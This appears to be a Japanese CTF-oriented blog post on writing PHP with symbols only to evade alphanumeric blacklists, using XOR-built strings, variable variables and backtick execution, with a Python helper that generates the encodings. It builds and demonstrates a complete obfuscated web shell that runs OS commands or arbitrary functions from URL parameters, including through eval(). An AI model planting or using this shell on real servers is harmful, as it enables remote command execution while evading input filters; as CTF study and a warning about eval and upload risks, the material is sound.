フリーランスのためのネットビジネス専門学校 ネットで独立開業を目指す人を応援
フリーランスのためのネットビジネス専門学校 ネットで独立開業を目指す人を応援

php-master-changes 2018-12-01

この記事はm1z0r3 Advent Calendar 2018の2日目です。

様々なプログラミング言語において、記号だけでプログラミングを行う「記号プログラミング」という手法が存在します。
Javascriptの記号プログラミングは盛んに行われており、一見余興のように思えるこの記号プログラミングもコードの難読化など色々と使い道があるようです。

CTFでは、この記号プログラミングがブラックリストのバイパス手段として必要となることがまれにあり、Web問で使われることの多いPHPも例外ではありません。

そこで今回は、PHPで記号だけを使ってどこまでプログラミングできるのかをまとめてみます。

まずは記号だけでできることをまとめます。

できること

1. 文字列の生成

PHPでは文字同士の論理演算が可能です。利用できる論理演算は^(XOR), |(OR), &(AND), ~(NOT)です

<?
echo '{'^'=';
?>
=> 'F'

また、文字列同士の論理演算も可能で、その場合は一文字ずつ計算されます。

<?
echo "``|"^"'%(";
?>
=> 'GET'

上の例ではXORのみを使っていましたが、実はXORのみでアルファベットは全て生成できます。

試しに印字可能記号同士のXOR表を生成するとこんな感じになります。

xor_table

確かに大文字小文字共にアルファベット全て生成できていることがわかるかと思います。

一方で、XORだけでは数字を生成できないため、工夫が必要です。

2. 変数の利用

PHPでは”_”だけの変数名を利用することができます。”_”の数を増やすことで、複数の変数を利用することができます。

<?
$_ = 1;
$__ = 2;
$___ = 3;
?>

また、PHPでは以下のように変数名が格納された変数の先頭に$を付けることで、その変数として利用することができます。

<?
$_="<var_name>";
$$_; // = $var
?>

3. 関数の呼び出し

PHPでは関数名が格納された変数に()を付けることで、その関数を呼ぶことができます。

(※言語構造は関数とは別なので利用することが出来ません。)

<?
$_="<func_name>";
$_(args); // = func(args)
?>

4. OSコマンドの実行

PHPでは“(バッククオート)で囲まれたOSコマンドを実行することができます。

<?
$_="<command>";
`$_`; // = shell_exec(command)
?>

5. echoの利用

言語構造は利用できないと書きましたが、echoに限っては利用できる可能性があります。
というのもPHPの開始タグは<?phpとする以外にも、<?<?=とすることができます。
後者の<?=<? echoと同義なので、echoを利用できるということです。

PHPファイルとして実行できる状況ではそのまま<?=で開始すれば良いです。
また、eval()内で実行できるという状況では引数を?><?=で開始することで一度PHPモードを抜けてHTMLモードになり、PHPモードに戻るタイミングで<?=の開始タグを利用できます。

php.net/manual/ja/function.eval.php

ちなみにPHP5.40以降この記法はデフォルトで有効になっているようなので、基本的に使えると思います。

php.net/manual/ja/ini.core.php#ini.short-open-tag

できないこと

  • 前述の通り、echo以外のprint, isset(), empty(), include, require のような言語構造は恐らく利用することができません。(もし利用する方法があったら教えてください…)

例として、簡単なWeb shellを構築してみます。

大したものではありませんが、当然悪用は厳禁です。
PHPをアップロードできる、評価できるような環境を与えてしまうと、例えアルファベットを弾いてもコマンド実行などをされる可能性があるという、一種の注意喚起になれば幸いです。

話は戻り、URLパラメータとして/?_=<command>のようにしたとき、そのコマンドを実行できることが最終目標です。
まず、そのコマンドの文字列が格納されているのは$_GET['_']という変数です。これを利用するには、

<?
$_= "_".("``|"^"'%(");        // =_GET
$__ = $$_['_'];                // = $_GET['_']
?>

とすればOKです。
そのコマンドを実行するためには、“ で囲めば良く、その結果を印字するために、<?= ?>で囲みます。

<?= `$__` ?>

したがって、これらをまとめて、

<?$_="_".("``|"^"'%("); $__ = $$_['_'];?><?=`$__`;?>

とすれば完成です。

完成形を見ると何をするものか全くわかりませんが、実際に実行してみると成功しているのがわかります。

eval()内で実行する場合は前述の通り一度PHPモードを抜けて再度echoありのPHPモードに移行すればOKです。

$_="_".("``|"^"'%("); $__ = $$_['_'];?><?=`$__`;

このようなコードに対しても

<?
    echo eval($_GET['cmd']);
?>

ちゃんと実行できていることがわかります。

ここまで書いて、任意の関数を呼ぶというのを一度もやっていないことに気づきました。

やってみましょう。

“_”に関数名を、”__”に引数を渡して、関数を実行するコードです。

<?$_="_".("``|"^"'%("); $__ = $$_['_']; $___ = $$_['__'];?><?= $__($___);?>

試しにmd5を呼んだ結果がこちらです。

一方で、当然ではありますが言語構造isset()を呼ぼうとすると以下のエラーが発生します。
isset()は関数ではなく、自身でisset関数を定義してもないからですね。

Fatal error: Uncaught Error: Call to undefined function isset() in ***/html/func.php:1 Stack trace: #0 {main} thrown in ***/html/func.php on line 1

自動生成

ここまで来て、PHP記号プログラミングを自動生成できたら素敵ではないか?と思いました。
隙を見て進めてみましたが、案の定時間が足りません。

そこで、文字列の自動生成をしてみたいと思います。

def symbolize(string):
    symbol = [i for i in range(0x20, 0x30)] + [i for i in range(0x3a, 0x41)] + [i for i in range(0x5b, 0x61)] + [i for i in range(0x7b, 0x7f)]
    table = {}
    for s1 in symbol:
        for s2 in symbol:
            if s1 > s2: continue
            table[chr(s1^s2)] = [chr(s1), chr(s2)]
    left = "".join([table[s][0] for s in string])
    right = "".join([table[s][1] for s in string])
    return repr(left) + "^" + repr(right)

if __name__ == '__main__':
    string = input("Input: ")
    print(symbolize(string))

作るのに全然時間が掛かっていないので大したことはありませんが、これで文字列を生成するのが楽になりました。

$ python3 trans.py
Input: SESSION
'/>//)/.'^'|{||```'

$ php -a          
Interactive shell

php > echo '/>//)/.'^'|{||```';
SESSION

数字を生成したい場合は少し工夫しなければいけないと言いました。
最終的な文字数を減らすために文字数と論理演算が揃っていると便利なので、色々と工夫の余地はありますがXORを1回ではなく2回取るという単純な変更を加えました。

def symbolize(string):
    symbol = [i for i in range(0x20, 0x30)] + [i for i in range(0x3a, 0x41)] + [i for i in range(0x5b, 0x61)] + [i for i in range(0x7b, 0x7f)]
    table = {}
    for s1 in symbol:
        for s2 in symbol:
            for s3 in symbol:
                table[chr(s1^s2^s3)] = [chr(s1), chr(s2), chr(s3)]
    left = "".join([table[s][0] for s in string])
    mid = "".join([table[s][1] for s in string])
    right = "".join([table[s][2] for s in string])
    return repr(left) + "^" + repr(mid) + "^" + repr(right)

if __name__ == '__main__':
    string = input("Input: ")
    print(symbolize(string))

数字、アルファベット全てを生成できるようになりました。

$ python3 trans.py
Input: 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{~}|________________~~~'^'```````}}`_|}?{??????????////////}|_`|}`{{{????????////////}|{'^'/,-*+();:.@``%`'&)(+*-,/.! #"%$'&{{[_@@_@@@()*+,-./ !"#$%&'[[_'
$ php -a
Interactive shell

php > echo '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{~}|________________~~~'^'```````}}`_|}?{??????????////////}|_`|}`{{{????????////////}|{'^'/,-*+();:.@``%`'&)(+*-,/.! #"%$'&{{[_@@_@@@()*+,-./ !"#$%&'[[_';
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

参考

[紹介元] PHPタグが付けられた新着記事 – Qiita php-master-changes 2018-12-01

コメント

記事に戻る

コメントを残す